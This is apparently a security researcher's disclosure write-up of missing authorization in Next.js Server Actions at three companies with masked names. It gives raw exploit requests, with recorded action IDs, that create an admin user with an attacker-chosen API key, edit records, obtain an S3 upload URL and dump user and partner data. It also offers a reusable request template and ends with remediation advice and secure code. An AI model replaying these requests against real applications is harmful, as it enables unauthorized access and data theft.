Summary
I found the same access-control mistake at three companies: a Server Action performed a sensitive operation without checking who was calling.
In one app, I created a user and gave it an admin API key. In another, I read and changed content, then obtained an S3 upload URL. In the third, I retrieved user profiles and private partner details. Together, these reports earned over $15,000.
This walkthrough follows the requests and the impact. Company names and hosts are masked; the action IDs are kept as recorded.
Understand the entry point
Server-side code still needs a permission check.
Next.js Server Actions let the browser call a function that runs on the server. The real function stays on the backend. The client receives a reference to it: an action ID.
Here is a simplified example of the mistake:
'use server'
export async function getUserName(email) {
// Missing: who is asking, and may they read this user?
return db.users.find({ email })
}
Calling it from the page produces an HTTP request. In the apps I tested, simple arguments were sent as a JSON array:
POST / HTTP/2
Host: [ masked ]
Accept: text/x-component
Next-Action: <action-id>
Content-Type: text/plain;charset=UTF-8
["someone@example.com"]
The Next-Action header identifies the function. Next.js decodes the arguments, calls the function, and sends its result back in a React response. More complex arguments can use a different encoding, so the browser's own request is the best starting point.
The important question is what happens inside that function. Before reading private data or changing anything, it needs to verify the caller's identity and permissions. Next.js describes this in its Server Actions security guide.
An action ID identifies a function. It does not authorize the caller. If a page sends that ID to the browser, a visitor can inspect it and use it in a direct request. Hiding an admin button does not protect the action behind it.
A note on action IDs
I call them hashes in my notes, but action ID is the more useful term. Their format depends on the Next.js version. Modern builds generate encrypted, non-deterministic IDs and can remove unused actions. Those protections do not replace authorization. See the current Next.js documentation.
In these cases, I saw both 40- and 42-character hex IDs. A pattern such as [0-9a-f]{40,} avoids cutting the longer ones short. A hex string alone is only a lead: check that it is actually used as an action reference.
How I found the missing check
1. Find the action in the browser
Start with the App Router page and watch its network requests. A request carrying Next-Action gives you the action ID, route, and argument format together.
Other useful clues are self.__next_f in the HTML and React responses with Content-Type: text/x-component. Files under /_next/static/chunks/ are worth reading, but that path alone does not confirm that a page uses Server Actions.
2. Connect action IDs to function names
Read the JavaScript around each action reference. Names such as saveMedia, getUserName, and getPresignedUrl tell you which business operation to investigate.
This console helper recognizes a common webpack output format. It lists candidate IDs and, where possible, their export names:
This is a starting point, not a complete inventory. It can miss lazy-loaded chunks and other bundle formats. Open the relevant pages, inspect the references, and refresh your notes after a new deployment.
3. Replay a known request without authentication
Choose an action you understand. Copy its request into Burp Repeater, remove cookies and any authorization header, and compare the result. Keep the route and argument format from the original request.
For a read-only action that takes no arguments, a request can look like this:
POST / HTTP/2
Host: [ masked ]
Accept: text/x-component
Next-Action: <action-id>
Content-Type: text/plain;charset=UTF-8
[]
Do not send empty arguments blindly to actions that import, delete, sync, or send email. Understand the operation first. For a write test, use a record you control and verify the change by reading it back.
| Response | What to check next |
|---|---|
200 + React payload | Inspect the actual result. Numbered chunks such as 0: or 1: are protocol framing, not proof of a successful or unauthorized operation. |
| HTML or a redirect | Check the route and request format against the browser capture. It may be a page response, a login flow, or a routing mismatch. |
500 / error digest | The request failed. Check the arguments and application behavior; an error alone does not establish why it failed. |
401 / 403 | This request was rejected. To assess authorization, also compare users with different roles or ownership. |
The proof is the unauthorized result. Show that an anonymous caller can read private data or perform a restricted operation. A successful status code, a visible action ID, or a public function is not enough on its own.
Three companies, three outcomes
The entry point was similar in all three apps. The impact depended on what the exposed function could do.
- 01Create a user. Grant an API key. Reach the admin API.A generic database write led to access to users, contracts, vendors, and internal records.
- 02Read content, change records, and obtain an S3 upload.29 exposed actions; over 16,000 records in the returned content data.
- 03Retrieve user profiles and private partner details.Email and domain lookups returned far more information than the page needed.
From unauthenticated writes to admin API access
Making my own admin account
The first app exposed a function called getResults. Despite the name, it could create or update records in any collection. It did not require a login.
The page referenced roughly 30 actions. Mapping them helped me understand the backend: imports, exports, contract syncs, account management, and email operations. The generic write was the most direct way into the system.
View the related action inventory: 11 entries
| Recorded action ID | Function | Operation |
|---|---|---|
| 7fef479c0462038476bebb03cb2abde62c09482983 | getResults() | Create or update records in a caller-selected collection. This was the entry point for the chain. |
| 7ffd683affc5c5c3b188cdffe55958dbf39c9e517e | usersCSVImport() | Bulk-import users. |
| 7f919a2e703675749891a50e5a643a67653aeab3cb | propathClearImport() | Clear imported ProPath data. |
| 7f8e91eef6b93a0fbfe618166e1dc033f782d778f5 | airtableFundingExport() (+ requests, tasks) | Export datasets to Airtable. |
| 7f6397a606df5f4cddaa46791ecf9612e0725e9adc | maximoCoupaSync() | Run an ERP contract-status sync. |
| 7f654e19a62900743fc4cd505fb27718ee40eead81 | syncInactiveUsers() | Deactivate inactive user accounts. |
| 7fd40b8aa3860bc1093e611b8fc204198b901ac6d4 | setNotificationThreshold() | Change the notification threshold. |
| 7f397bd34aeebb0fb85a8b15b91ca6f81b797af284 | runTestingScripts() | Run backend test scripts. |
| 7fca59c46256eda72a469ae68bfae6b4e665feb06a | fetchPreviews() | Render contract-email previews from supplied data. |
| 7f149da7627165e00fe1c2921339ec9d2b46e996d4 | handleSendTestEmails() | Send a test email to a supplied recipient. |
| 7f89fbf154872e8a534b01ea6bc03d5f7095396f9a | enableEmailSending() / disableEmailSending() | Toggle the email pipeline. |
getResults accepted users as the collection name. It also let me set sensitive fields, including enableAPIKey and the API key value. That gave me a short chain from an anonymous request to an authenticated admin API call.
Animated attacker flow
From public code to admin dataFind the action. The public JavaScript contains the Server Action ID. Knowing the ID lets the attacker call the function directly.
The two writes need no session. The final API call uses the attacker's new key.
ReadyStep 1: Create a user
I supplied users as the collection and asked the action to create a record:
POST /admin HTTP/2
Host: [ masked ]
Next-Action: 7fef479c0462038476bebb03cb2abde62c09482983
Content-Type: text/plain;charset=UTF-8
[{"collectionSlug":"users",
"toProcessData":[["new",{"email":"attacker@researcher","firstName":"sky","lastName":"desperados"}]],
"useAsTitle":"email"}]
The response included the new user's ID. I used that ID in the next request.
Creating an account was not enough by itself. The portal used single sign-on (SSO), so I needed to show how the new account could actually access the backend.
Step 2: Give that user an API key
The same action let me enable API-key authentication and choose the key value:
POST /admin HTTP/2
Host: [ masked ]
Next-Action: 7fef479c0462038476bebb03cb2abde62c09482983
Content-Type: text/plain;charset=UTF-8
[{"collectionSlug":"users",
"toProcessData":[["<user_id>",{"enableAPIKey":true,"apiKey":"<attacker-chosen-key>"}]],
"useAsTitle":"email"}]
This created a way to authenticate directly to the API, without going through the portal's SSO flow.
Step 3: Use the key against the admin API
GET /api/users?limit=100 HTTP/2
Host: [ masked ]
Authorization: users API-Key <attacker-chosen-key>
The API accepted the key and gave the new account admin-level access. The recorded responses included:
/api/users : 52 users
/api/<collection> : 172 contracts + 524 vendors
/api/roles : 19 roles
/api/<collection> : 900+ internal records
What made this an admin-access bug: an anonymous caller could create an identity, set its credentials, and use those credentials to read restricted collections. The impact came from the full chain.
That distinction mattered in triage. Creating a user did not explain the risk. Requests showing what the user could access made the report concrete and reproducible.
Reading content, changing records, and writing to S3
From content records to cloud storage
In the second app, the page's module map led me to two JavaScript chunks containing 29 actions that could be called without a session.
Three operations stood out: reading large content datasets, changing records by ID, and requesting a signed upload URL.
Step 1: Read the content database
Three actions returned large slices of the content database when called with an empty argument list:
POST /admin HTTP/2
Host: [ masked ]
Next-Action: f493a4c38f46e3eb45efc81fc90670ae577a062a
Content-Type: text/plain;charset=UTF-8
[]
| Action or dataset | Recorded result |
|---|---|
| Three bulk content reads | 18.5 MB, 17.8 MB, and 8.3 MB responses; over 16,000 records in the returned data. |
getMediaLibrary | 48 media items and their S3 URLs. |
getVenueFacilities | 16 venues, including GPS locations and floor plans. |
getAppSettings | 10 feature flags. |
Step 2: Change a record using its ID
The read responses included record IDs. Another action, saveMedia, accepted those IDs and exposed 23 editable fields without checking the caller's permissions.
I used an ID from the returned data, changed the record, and read it back to confirm the update:
POST /admin HTTP/2
Host: [ masked ]
Next-Action: 9a45aa6306204b11a0751169bb5223f34a3a6ad9
Content-Type: text/plain;charset=UTF-8
[{"id":"<record_id>","name":"SKYDes","alt":"IDOR","title":"IDOR","allowInTemplates":true}]
The read action supplied the IDs. The write action let me change the records behind them. An anonymous caller could now read private content and change it.
Step 3: Request an S3 upload URL
getPresignedUrl also worked without a login. I supplied a filename and the string image as the second argument:
POST /admin HTTP/2
Host: [ masked ]
Next-Action: 331556fb13b828b396005e2d02abfda1490ec405
Content-Type: text/plain;charset=UTF-8
["skydesperados-poc.html","image"]
The response contained a signed URL for a development S3 bucket. I then sent a PUT request to that URL:
PUT /skydesperados-poc.html/image_...?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=<masked>&X-Amz-Signature=<masked>&... HTTP/1.1
Host: <dev-bucket>.s3.us-east-1.amazonaws.com
Content-Type: text/html
Content-Length: 0
A presigned URL grants limited access to a particular S3 operation. The AKIA... access-key ID in the URL is not an AWS secret key. The problem here was that an anonymous caller could obtain upload permission. AWS explains the mechanism in its presigned URL guide.
Unauthenticated reads: excessive data returned
User profiles and private partner details
The third app exposed two lookup actions. Both returned full database records when the page needed only a small part of the result.
The problem was more than extra fields: an anonymous caller could retrieve other users' profiles and private information about company partnerships.
Step 1: Retrieve user records
getUserName accepted an email address. An empty string, or a % wildcard, returned a page of user records:
POST / HTTP/2
Host: [ masked ]
Accept: text/x-component
Next-Action: 20e7abcb3e805fbb07e9e22d56270b52dddf6f7f
Content-Type: text/plain;charset=UTF-8
[""]
Each record included the user's first and last name, email, employer, account UUID, and timestamps.
Supplying an individual email also returned that person's profile. I verified this with accounts I did not own. That established an unauthorized user-data read; it did not depend on proving a complete dump of the user table.
Step 2: Retrieve partner records by domain
A second action, isRegistered, checked whether a company domain belonged to an approved partner.
The page needed a registration result and agency name. The action also returned the internal employee responsible for the partnership, along with the status and expiry of its master services agreement (MSA):
POST / HTTP/2
Host: [ masked ]
Next-Action: 54464d0ddf3f01be5720ce152ae80d8d23ff783c
Content-Type: text/plain;charset=UTF-8
["probe@<partner-domain>"]
Testing around 14 domains returned nine distinct internal employee contacts, together with partner contract details. Repeating the lookup exposed more private records for the tested partners; the total size of the partner list was not established.
Two reads, two kinds of private data: personal account profiles from the email lookup, and internal relationship and contract details from the domain lookup. Neither action checked who was asking.
Fix the boundary
Check permission where the work happens.
All three apps trusted a request that should have been checked. The function ran on the server, but the caller still controlled its arguments.
- A broad write let me create an identity and give it credentials.
- Unprotected reads and updates exposed private content and let me change it.
- An unprotected upload action granted write access to an S3 object.
- Returning every field exposed profile and partner details the page did not need.
What needs to change
- Verify identity and permission before sensitive work. A valid session is only the first check. Confirm the user's role, tenant, and access to the specific resource.
- Keep the check close to the data. Use a shared data-access layer or enforce it inside each action. A page redirect, hidden button, or middleware check should not be the only control.
- Accept only the fields the operation needs. Replace generic collection writes with specific operations. Ordinary callers should not be able to set roles, API keys, or authentication flags.
- Return a deliberate response shape. Choose the fields the caller is allowed to see. Do not send a full database row simply because the query returned one.
- Constrain upload permission. Authorize the upload workflow and limit the object path, accepted content, and URL lifetime. A public upload feature still needs tightly scoped access.
Next.js covers session verification, authorization, and returning minimal data in its authentication guide.
'use server'
export async function updateMedia(input) {
const user = await requireUser()
const data = mediaUpdateSchema.parse(input)
const record = await loadMedia(data.id)
if (!record || !(await canEditMedia(user, record))) {
throw new Error('Forbidden')
}
const saved = await db.media.update({
where: { id: record.id },
data: { name: data.name, alt: data.alt }
})
return { id: saved.id, name: saved.name }
}
Illustrative, not drop-in code. The session, schema, data-access, and permission helpers belong to your app. They must enforce its role, tenant, and resource rules.
After fixing the action, repeat the original request without a session and with users who lack permission. Confirm both that access is denied and that no data was changed.
The action ID tells the server what to run. Your permission check decides whether it should.
Keep the request simple
Request template
POST /<route> HTTP/2
Host: <target>
Accept: text/x-component
Next-Action: <action-id>
Content-Type: text/plain;charset=UTF-8
<json-array-of-arguments>
Use the route, full action ID, and argument encoding from the app's own request. IDs are specific to the app and build; the recorded examples are not universal values.